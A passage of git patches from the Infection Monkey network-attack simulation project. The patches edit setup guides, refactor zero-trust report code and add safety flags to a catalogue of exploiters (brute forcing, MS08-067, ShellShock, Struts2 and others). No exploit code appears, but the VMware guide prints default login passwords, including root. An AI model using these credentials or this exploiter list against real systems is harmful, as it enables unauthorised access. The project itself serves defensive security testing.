exploitations by running consecutive Infection Monkey scans. ## Credentials Every network has its old β€œskeleton keys” that should have long been discarded. Configure the Monkey with old and stale -passwords, but make sure that they were really discarded using the Monkey. To add the old passwords, in the island’s +passwords, but make sure that they were really discarded using the Monkey. To add the old passwords, in the island's configuration, go to the β€œExploit password list” under β€œBasic - Credentials” and use the β€œ+” button to add the old passwords to the configuration. For example, here we added a few extra passwords (and a username as well) to the configuration: From e63e8fada695f01e9526cf744d5d0a0d8dd2e6ba Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 27 Jan 2021 13:21:49 -0500 Subject: [PATCH 187/466] docs: small changes to azure setup guide --- docs/content/setup/azure.md | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/docs/content/setup/azure.md b/docs/content/setup/azure.md index 75feaabf3..dcb50e7fd 100644 --- a/docs/content/setup/azure.md +++ b/docs/content/setup/azure.md @@ -4,7 +4,7 @@ date: 2020-05-26T20:57:39+03:00 draft: false pre: ' ' weight: 6 -tags: ["setup", "azure"] +tags: ["setup", "azure"] --- ## Deployment @@ -12,18 +12,19 @@ tags: ["setup", "azure"] Select the [Infection Monkey from the Azure Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/guardicore.infection_monkey) and click **GET IT NOW**. 1. Under **Basics**: - 1. Choose a name for the Infection Monkey instance, such as InfectionMonkey. - 1. Choose a username and password or provide an SSH public key for authentication. + 1. Choose a name for the new Infection Monkey instance, such as InfectionMonkey. + 1. Choose a username and password, or provide an SSH public key for authentication. 1. Choose a resource group and the location for the Infection Monkey instance. 1. Under **Size** 1. Choose a machine size with at least 1GB of RAM for optimal performance. 1. Under **Settings** - 1. Choose the network for your new instance. + 1. Choose the network for the new instance. 1. In the **Network Security Group** field, make sure ports 5000 and 5001 on the machine are accessible for inbound TCP traffic. 1. Under **Summary** 1. Review the details of the offer and click **Create**. -At this point, Azure will instance and deploy your new machine. When ready, you can browse to the Infection Monkey running on your fresh deployment at: +At this point, Azure will provision and deploy your new machine. When ready, +you can browse to the Infection Monkey running on your fresh deployment at: `https://{public-ip-address}:5000` From 819ae2418991be31aa278769de64f45137bdd1ae Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 27 Jan 2021 13:23:11 -0500 Subject: [PATCH 188/466] docs: small changes to aws setup guide --- docs/content/setup/aws.md | 19 ++++++++++++------- 1 file changed, 12 insertions(+), 7 deletions(-) diff --git a/docs/content/setup/aws.md b/docs/content/setup/aws.md index eb08b4968..916889ba6 100644 --- a/docs/content/setup/aws.md +++ b/docs/content/setup/aws.md @@ -4,7 +4,7 @@ date: 2020-05-26T20:57:36+03:00 draft: false pre: ' ' weight: 5 -tags: ["setup", "aws"] +tags: ["setup", "aws"] --- ## Deployment @@ -13,24 +13,29 @@ On the [Infection Monkey's AWS Marketplace page](https://aws.amazon.com/marketpl 1. Choose the desired region. 1. Choose an EC2 instance type with at least 1GB of RAM for optimal performance or stick with the default recommendation. -1. Select the VPC and subnet you want to use for your instance. +1. Select the VPC and subnet you want to use for the new instance. 1. In the Security Group section, make sure ports 5000 and 5001 on the machine are accessible for inbound TCP traffic. -1. Choose an existing EC2 key pair for authenticating with your new instance. +1. Choose an existing EC2 key pair for authenticating with the new instance. 1. Click **Launch with 1-click.** -At this point, AWS will instance and deploy your new machine. +At this point, AWS will instance and deploy the new machine. -When ready, you can browse to the Infection Monkey running on your fresh deployment at: +When ready, you can browse to the Infection Monkey running on the fresh deployment at: `https://{public-ip}:5000` -You will be presented with a login page. Enter the username **monkey**, and the new EC2 instance's **instance ID** for your password. To find your instance ID, go to the EC2 console and select your instance. It should appear in the details pane below. +You will be presented with a login page. Enter the username **monkey**, and the +new EC2 instance's **instance ID** for your password. To find your instance ID, +go to the EC2 console and select your instance. It should appear in the details +pane below. ![AWS instance ID](../../images/setup/aws/aws-instance-id.png "AWS instance ID") ## Integration with AWS services -The Infection Monkey has built-in integrations with AWS services for better execution and reporting. See [Usage -> Integrations](../../usage/integrations) for more details. +The Infection Monkey has built-in integrations with AWS services for better +execution and reporting. See [Usage -> Integrations](../../usage/integrations) +for more details. ## Upgrading From 243714d8ba23b8cd3d16b0c01bd23228b4f5a396 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 27 Jan 2021 13:23:40 -0500 Subject: [PATCH 189/466] docs: remove trailing whitespace in docker setup guide --- docs/content/setup/docker.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 66d38efc5..fb70347f2 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -4,7 +4,7 @@ date: 2020-05-26T20:57:28+03:00 draft: false pre: ' ' weight: 4 -tags: ["setup", "docker", "linux", "windows"] +tags: ["setup", "docker", "linux", "windows"] --- ## Deployment From a842ac2c996d87af5fd792350fdb96e8a92ca13f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 27 Jan 2021 13:24:46 -0500 Subject: [PATCH 190/466] docs: small changes to vmware setup guide --- docs/content/setup/vmware.md | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) diff --git a/docs/content/setup/vmware.md b/docs/content/setup/vmware.md index 5bb2ffb51..21522f820 100644 --- a/docs/content/setup/vmware.md +++ b/docs/content/setup/vmware.md @@ -4,24 +4,31 @@ date: 2020-05-26T20:57:14+03:00 draft: false pre: ' ' weight: 3 -tags: ["setup", "vmware"] +tags: ["setup", "vmware"] --- ## Deployment -1. Deploy the Infection Monkey OVA by choosing **Deploy OVF Template** and following the wizard instructions. *Note: make sure ports 5000 and 5001 on the machine are accessible for inbound TCP traffic.* +1. Deploy the Infection Monkey OVA by choosing **Deploy OVF Template** and + following the wizard instructions. *Note: make sure ports 5000 and 5001 on + the machine are accessible for inbound TCP traffic.* 1. Turn on the Infection Monkey VM. 1. Log in to the machine with the following credentials: 1. Username: **monkeyuser** 1. Password: **Noon.Earth.Always** -1. It's recommended you change the machine passwords by running the following commands: `sudo passwd monkeyuser`, `sudo passwd root`. +1. It's recommended you change the machine passwords by running the following + commands: `sudo passwd monkeyuser`, `sudo passwd root`. ## OVA network modes You can use the OVA in one of two modes: -1. In a network with the DHCP configured β€” In this case, the Monkey Island will automatically query and receive an IP address from the network. -1. With a static IP address β€” In this case, you should log in to the VM console with the username `root` and the password `G3aJ9szrvkxTmfAG`. After logging in, edit the interfaces file by entering the following command in the prompt: +1. In a network with the DHCP configured β€” In this case, the Monkey Island will + automatically query and receive an IP address from the network. +1. With a static IP address β€” In this case, you should log in to the VM console + with the username `root` and the password `G3aJ9szrvkxTmfAG`. After logging + in, edit the interfaces file by entering the following command in the + prompt: ```sh sudo nano /etc/network/interfaces From 60b3ed78b51f3049ca9eb3a66425309864dfede6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 27 Jan 2021 13:26:01 -0500 Subject: [PATCH 191/466] docs: small changes to windows setup guide --- docs/content/setup/windows.md | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/docs/content/setup/windows.md b/docs/content/setup/windows.md index 9b22b87dc..d1ce0d43c 100644 --- a/docs/content/setup/windows.md +++ b/docs/content/setup/windows.md @@ -20,11 +20,16 @@ After running the installer, the following prompt should appear on the screen: ### Missing Windows update -The installer requires [Windows update #2999226](https://support.microsoft.com/en-us/help/2999226/update-for-universal-c-runtime-in-windows). If you're having trouble running the installer, please make sure to install the update via Windows Update or manually from the link above. +The installer requires [Windows update #2999226](https://support.microsoft.com/en-us/help/2999226/update-for-universal-c-runtime-in-windows). +If you're having trouble running the installer, please make sure to install the +update via Windows Update or manually from the link above. ### Supported browsers -The Monkey Island supports Chrome (and Chrome-based) browsers. If your Windows server only has Internet Explorer installed, please install Chrome or a similar modern browser. [You can download Google Chrome here](https://www.google.com/chrome/). +The Monkey Island supports Chrome (and Chrome-based) browsers. If your Windows +server only has Internet Explorer installed, please install Chrome or a similar +modern browser. [You can download Google Chrome +here](https://www.google.com/chrome/). ## Upgrading From 7aef86744eb4fe3449dbb773f2a24ec77293c17d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 28 Jan 2021 12:13:54 +0200 Subject: [PATCH 192/466] Improved readability of zero trust report resource by creating separate service for raw scoutsuite data and moving pillar report data structure into separate method on pillar service --- .../cc/resources/zero_trust/zero_trust_report.py | 15 ++++----------- .../zero_trust_report/pillar_service.py | 12 +++++++++--- .../scoutsuite_raw_data_service.py | 13 +++++++++++++ .../zero_trust_report/test_pillar_service.py | 6 +++--- 4 files changed, 29 insertions(+), 17 deletions(-) create mode 100644 monkey/monkey_island/cc/services/zero_trust/zero_trust_report/scoutsuite_raw_data_service.py diff --git a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py index 0f9feab76..a85499b2f 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py +++ b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py @@ -3,11 +3,11 @@ import http.client import flask_restful from flask import Response, jsonify -from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteDataJson from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import FindingService from monkey_island.cc.services.zero_trust.zero_trust_report.pillar_service import PillarService from monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import PrincipleService +from monkey_island.cc.services.zero_trust.zero_trust_report.scoutsuite_raw_data_service import ScoutSuiteRawDataService REPORT_DATA_PILLARS = "pillars" REPORT_DATA_FINDINGS = "findings" @@ -20,20 +20,13 @@ class ZeroTrustReport(flask_restful.Resource): @jwt_required def get(self, report_data=None): if report_data == REPORT_DATA_PILLARS: - return jsonify({ - "statusesToPillars": PillarService.get_statuses_to_pillars(), - "pillarsToStatuses": PillarService.get_pillars_to_statuses(), - "grades": PillarService.get_pillars_grades() - }) + return jsonify(PillarService.get_pillar_report_data()) elif report_data == REPORT_DATA_PRINCIPLES_STATUS: return jsonify(PrincipleService.get_principles_status()) elif report_data == REPORT_DATA_FINDINGS: return jsonify(FindingService.get_all_findings()) elif report_data == REPORT_DATA_SCOUTSUITE: - try: - data = ScoutSuiteDataJson.objects.get().scoutsuite_data - except Exception: - data = "{}" - return Response(data, mimetype='application/json') + return Response(ScoutSuiteRawDataService.get_scoutsuite_data_json(), + mimetype='application/json') flask_restful.abort(http.client.NOT_FOUND) diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py index 67fccff8f..9ec584571 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py @@ -5,7 +5,13 @@ from monkey_island.cc.models.zero_trust.finding import Finding class PillarService: @staticmethod - def get_pillars_grades(): + def get_pillar_report_data(): + return {"statusesToPillars": PillarService._get_statuses_to_pillars(), + "pillarsToStatuses": PillarService._get_pillars_to_statuses(), + "grades": PillarService._get_pillars_grades()} + + @staticmethod + def _get_pillars_grades(): pillars_grades = [] all_findings = Finding.objects() for pillar in zero_trust_consts.PILLARS: @@ -39,7 +45,7 @@ class PillarService: return pillar_grade @staticmethod - def get_statuses_to_pillars(): + def _get_statuses_to_pillars(): results = { zero_trust_consts.STATUS_FAILED: [], zero_trust_consts.STATUS_VERIFY: [], @@ -52,7 +58,7 @@ class PillarService: return results @staticmethod - def get_pillars_to_statuses(): + def _get_pillars_to_statuses(): results = {} for pillar in zero_trust_consts.PILLARS: results[pillar] = PillarService.__get_status_of_single_pillar(pillar) diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/scoutsuite_raw_data_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/scoutsuite_raw_data_service.py new file mode 100644 index 000000000..006f3250f --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/scoutsuite_raw_data_service.py @@ -0,0 +1,13 @@ +from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteDataJson + + +class ScoutSuiteRawDataService: + + # Return unparsed json of ScoutSuite results, + # so that UI can pick out values it needs for report + @staticmethod + def get_scoutsuite_data_json() -> str: + try: + return ScoutSuiteDataJson.objects.get().scoutsuite_data + except Exception: + return "{}" diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py index 48f3c0d85..bf2bbe1a5 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py @@ -15,7 +15,7 @@ from monkey_island.cc.test_common.fixtures import FixtureEnum def test_get_pillars_grades(): save_example_findings() expected_grades = _get_expected_pillar_grades() - computed_grades = PillarService.get_pillars_grades() + computed_grades = PillarService._get_pillars_grades() assert expected_grades == computed_grades @@ -97,7 +97,7 @@ def test_get_pillars_to_statuses(): zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, zero_trust_consts.DATA: zero_trust_consts.STATUS_UNEXECUTED } - assert PillarService.get_pillars_to_statuses() == expected + assert PillarService._get_pillars_to_statuses() == expected # Test with example finding set save_example_findings() @@ -110,4 +110,4 @@ def test_get_pillars_to_statuses(): zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, zero_trust_consts.DATA: zero_trust_consts.STATUS_FAILED } - assert PillarService.get_pillars_to_statuses() == expected + assert PillarService._get_pillars_to_statuses() == expected From 255bfe9444b0977955252c7f83047c3fcda8ef4d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 28 Jan 2021 12:15:01 +0200 Subject: [PATCH 193/466] Minor readability improvements: typehints and comments where needed --- .../collectors/scoutsuite_collector/scoutsuite_api.py | 2 ++ .../scoutsuite_collector/scoutsuite_collector.py | 3 ++- monkey/infection_monkey/telemetry/scoutsuite_telem.py | 3 ++- .../cc/services/zero_trust/scoutsuite/consts/findings.py | 5 +++-- .../zerotrust/scoutsuite/ScoutSuiteDataParser.js | 5 +++-- .../zerotrust/scoutsuite/ScoutSuiteRuleButton.js | 8 ++++---- 6 files changed, 16 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_api.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_api.py index 3235f7d34..575058946 100644 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_api.py +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_api.py @@ -10,6 +10,8 @@ def _add_scoutsuite_to_python_path(): sys.path.append(scoutsuite_path) +# Add ScoutSuite to python path because this way +# we don't need to change any imports in ScoutSuite code _add_scoutsuite_to_python_path() import common.cloud.scoutsuite.ScoutSuite.api_run as scoutsuite_api diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py index 25b0ea833..7726e980e 100644 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py @@ -1,6 +1,7 @@ import logging import infection_monkey.system_info.collectors.scoutsuite_collector.scoutsuite_api as scoutsuite_api +from common.cloud.scoutsuite.ScoutSuite.providers.aws.provider import AWSProvider from common.cloud.scoutsuite_consts import CloudProviders from common.utils.exceptions import ScoutSuiteScanError from infection_monkey.config import WormConfiguration @@ -26,5 +27,5 @@ def run_scoutsuite(cloud_type: str): aws_session_token=WormConfiguration.aws_session_token) -def send_results(results): +def send_results(results: AWSProvider): ScoutSuiteTelem(results).send() diff --git a/monkey/infection_monkey/telemetry/scoutsuite_telem.py b/monkey/infection_monkey/telemetry/scoutsuite_telem.py index 816042d7c..4e49c0695 100644 --- a/monkey/infection_monkey/telemetry/scoutsuite_telem.py +++ b/monkey/infection_monkey/telemetry/scoutsuite_telem.py @@ -1,11 +1,12 @@ from common.cloud.scoutsuite.ScoutSuite.output.result_encoder import ScoutJsonEncoder +from common.cloud.scoutsuite.ScoutSuite.providers.aws.provider import AWSProvider from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem class ScoutSuiteTelem(BaseTelem): - def __init__(self, data): + def __init__(self, data: AWSProvider): """ Default ScoutSuite telemetry constructor :param data: Data gathered via ScoutSuite diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings.py index 762f6bf80..3368cbbdf 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings.py @@ -1,4 +1,5 @@ from abc import ABC, abstractmethod +from typing import List from common.common_consts import zero_trust_consts from .rule_names.cloudformation_rules import CloudformationRules @@ -21,12 +22,12 @@ from .rule_names.vpc_rules import VPCRules class ScoutSuiteFinding(ABC): @property @abstractmethod - def rules(self): + def rules(self) -> List[str]: pass @property @abstractmethod - def test(self): + def test(self) -> str: pass diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js index 729499dec..9657c0bba 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js @@ -4,10 +4,11 @@ export default class ScoutSuiteDataParser { } /** - * + * Gets value of cloud resource based on path of specific checked field and more abstract template path, + * which describes the scope of resource values. * @param itemPath contains path to a specific value e.g. s3.buckets.da1e7081077ce92.secure_transport_enabled * @param templatePath contains a template path for resource we would want to display e.g. s3.buckets.id - * @returns {*[]|*} + * @returns {*[]|*} resource value e.g. {'bucket_id': 123, 'bucket_max_size': '123GB'} */ getResourceValue(itemPath, templatePath) { let resourcePath = this.fillTemplatePath(itemPath, templatePath); diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js index 316f2f90b..4b46c7c3b 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js @@ -40,11 +40,11 @@ export default class ScoutSuiteRuleButton extends Component { } function RuleCountBadge(props) { - const maxRuleCountToShow = 9; - const textForMoreThanMaxRuleCount = maxRuleCountToShow + '+'; + const MAX_RULE_COUNT_TO_SHOW = 9; + const TEXT_FOR_LARGE_RULE_COUNT = MAX_RULE_COUNT_TO_SHOW + '+'; - const ruleCountText = props.count > maxRuleCountToShow ? - textForMoreThanMaxRuleCount : props.count; + const ruleCountText = props.count > MAX_RULE_COUNT_TO_SHOW ? + TEXT_FOR_LARGE_RULE_COUNT : props.count; return {ruleCountText}; } From 7761d16cf8602b91a78547283e2935fe9ccc96e4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 28 Jan 2021 12:16:08 +0200 Subject: [PATCH 194/466] Bolded the fact that user has to run monkey from Island to start ScoutSuite security scan --- .../zero_trust/scoutsuite/scoutsuite_auth_service.py | 5 ++--- .../RunMonkeyPage/scoutsuite-setup/CloudOptions.js | 10 +++++++++- 2 files changed, 11 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py index eb0d5dfbd..dc3f8d5ee 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py @@ -12,13 +12,12 @@ from monkey_island.cc.services.config_schema.config_value_paths import AWS_KEYS_ def is_cloud_authentication_setup(provider: CloudProviders) -> Tuple[bool, str]: if provider == CloudProviders.AWS.value: if is_aws_keys_setup(): - return True, "AWS keys already setup. Run Monkey on Island to start the scan." + return True, "AWS keys already setup." import common.cloud.scoutsuite.ScoutSuite.providers.aws.authentication_strategy as auth_strategy try: profile = auth_strategy.AWSAuthenticationStrategy().authenticate() - return True, f" Profile \"{profile.session.profile_name}\" is already setup. " \ - f"Run Monkey on Island to start the scan." + return True, f" Profile \"{profile.session.profile_name}\" is already setup. " except AuthenticationException: return False, "" diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js index 1e1d83c4a..bd9c83f04 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js @@ -29,7 +29,7 @@ const getContents = (props) => { .then(res => res.json()) .then(res => { if(res.is_setup){ - setDescription(res.message + ' Click next to change the configuration.'); + setDescription(getDescription(res.message)); setIconType('icon-success'); setIcon(faCheck); } else { @@ -40,6 +40,14 @@ const getContents = (props) => { }); }, [props]); + function getDescription(message){ + return ( + <> + {message} Run from the Island to start the scan. Click next to change the configuration. + + ) + } + return ( <> Date: Thu, 28 Jan 2021 15:11:58 +0200 Subject: [PATCH 195/466] Renamed file to match class --- .../{test_segmentation.py => test_segmentation_checks.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename monkey/monkey_island/cc/services/telemetry/zero_trust_checks/{test_segmentation.py => test_segmentation_checks.py} (100%) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py similarity index 100% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py rename to monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py From ad0b428699b9894ffbec1d8c67cbbc61941f6b9d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 28 Jan 2021 15:12:15 +0200 Subject: [PATCH 196/466] Refactored long imports to relative imports --- .../system_info_telemetry_dispatcher.py | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py index b004037b6..454657b27 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py @@ -3,12 +3,10 @@ import typing from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR, PROCESS_LIST_COLLECTOR, SCOUTSUITE_COLLECTOR) -from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import process_aws_telemetry -from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import \ - process_environment_telemetry -from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import process_hostname_telemetry -from monkey_island.cc.services.telemetry.processing.system_info_collectors.scoutsuite import \ - process_scout_suite_telemetry +from .aws import process_aws_telemetry +from .environment import process_environment_telemetry +from .hostname import process_hostname_telemetry +from .scoutsuite import process_scout_suite_telemetry from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import check_antivirus_existence logger = logging.getLogger(__name__) From d333e8c1c0cb14f4442a091fa5ef86a5091d1fcb Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 28 Jan 2021 15:33:33 +0200 Subject: [PATCH 197/466] Refactored fetch_details_for_display to return empty dict instead of empty array(because of type hint) --- .../zero_trust/monkey_findings/monkey_zt_details_service.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py index e73ce0cec..893f8221f 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py @@ -23,7 +23,9 @@ class MonkeyZTDetailsService: details = details[0] details['latest_events'] = MonkeyZTDetailsService._get_events_without_overlap(details['event_count'], details['latest_events']) - return details + return details + else: + return {} @staticmethod def _get_events_without_overlap(event_count: int, events: List[object]) -> List[object]: From 155da384c275aa6057ad1b661cacd5c58af51ba9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 28 Jan 2021 08:14:18 -0500 Subject: [PATCH 198/466] ui: replace "(UNSAFE)" text with warning icon --- .../definitions/exploiter_classes.py | 15 ++++++++++++++- .../config_schema/definitions/finger_classes.py | 8 ++++++++ .../definitions/post_breach_actions.py | 11 +++++++++++ .../definitions/system_info_collector_classes.py | 6 ++++++ .../ui-components/AdvancedMultiSelect.js | 7 ++++++- .../src/components/ui-components/ChildCheckbox.js | 13 ++++++++++--- .../cc/ui/src/styles/pages/ConfigurationPage.scss | 7 +++++++ 7 files changed, 62 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 0a5e671a3..25158d73a 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -12,6 +12,7 @@ EXPLOITER_CLASSES = { "SmbExploiter" ], "title": "SMB Exploiter", + "safe": True, "attack_techniques": ["T1110", "T1075", "T1035"], "info": "Brute forces using credentials provided by user and" " hashes gathered by mimikatz.", @@ -23,6 +24,7 @@ EXPLOITER_CLASSES = { "WmiExploiter" ], "title": "WMI Exploiter", + "safe": True, "attack_techniques": ["T1110", "T1106"], "info": "Brute forces WMI (Windows Management Instrumentation) " "using credentials provided by user and hashes gathered by mimikatz.", @@ -34,6 +36,7 @@ EXPLOITER_CLASSES = { "MSSQLExploiter" ], "title": "MSSQL Exploiter", + "safe": True, "attack_techniques": ["T1110"], "info": "Tries to brute force into MsSQL server and uses insecure " "configuration to execute commands on server.", @@ -44,7 +47,8 @@ EXPLOITER_CLASSES = { "enum": [ "Ms08_067_Exploiter" ], - "title": "MS08-067 Exploiter (UNSAFE)", + "title": "MS08-067 Exploiter", + "safe": False, "info": "Unsafe exploiter, that might cause system crash due to the use of buffer overflow. " "Uses MS08-067 vulnerability.", "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/ms08-067/" @@ -55,6 +59,7 @@ EXPLOITER_CLASSES = { "SSHExploiter" ], "title": "SSH Exploiter", + "safe": True, "attack_techniques": ["T1110", "T1145", "T1106"], "info": "Brute forces using credentials provided by user and SSH keys gathered from systems.", "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sshexec/" @@ -65,6 +70,7 @@ EXPLOITER_CLASSES = { "ShellShockExploiter" ], "title": "ShellShock Exploiter", + "safe": True, "info": "CVE-2014-6271, based on logic from " "https://github.com/nccgroup/shocker/blob/master/shocker.py .", "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/shellshock/" @@ -75,6 +81,7 @@ EXPLOITER_CLASSES = { "SambaCryExploiter" ], "title": "SambaCry Exploiter", + "safe": True, "info": "Bruteforces and searches for anonymous shares. Uses Impacket.", "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sambacry/" }, @@ -84,6 +91,7 @@ EXPLOITER_CLASSES = { "ElasticGroovyExploiter" ], "title": "ElasticGroovy Exploiter", + "safe": True, "info": "CVE-2015-1427. Logic is based on Metasploit module.", "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/elasticgroovy/" }, @@ -93,6 +101,7 @@ EXPLOITER_CLASSES = { "Struts2Exploiter" ], "title": "Struts2 Exploiter", + "safe": True, "info": "Exploits struts2 java web framework. CVE-2017-5638. Logic based on " "https://www.exploit-db.com/exploits/41570 .", "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/struts2/" @@ -103,6 +112,7 @@ EXPLOITER_CLASSES = { "WebLogicExploiter" ], "title": "WebLogic Exploiter", + "safe": True, "info": "Exploits CVE-2017-10271 and CVE-2019-2725 vulnerabilities on WebLogic server.", "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/weblogic/" }, @@ -112,6 +122,7 @@ EXPLOITER_CLASSES = { "HadoopExploiter" ], "title": "Hadoop/Yarn Exploiter", + "safe": True, "info": "Remote code execution on HADOOP server with YARN and default settings. " "Logic based on https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.", "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/hadoop/" @@ -122,6 +133,7 @@ EXPLOITER_CLASSES = { "VSFTPDExploiter" ], "title": "VSFTPD Exploiter", + "safe": True, "info": "Exploits a malicious backdoor that was added to the VSFTPD download archive. " "Logic based on Metasploit module.", "link": 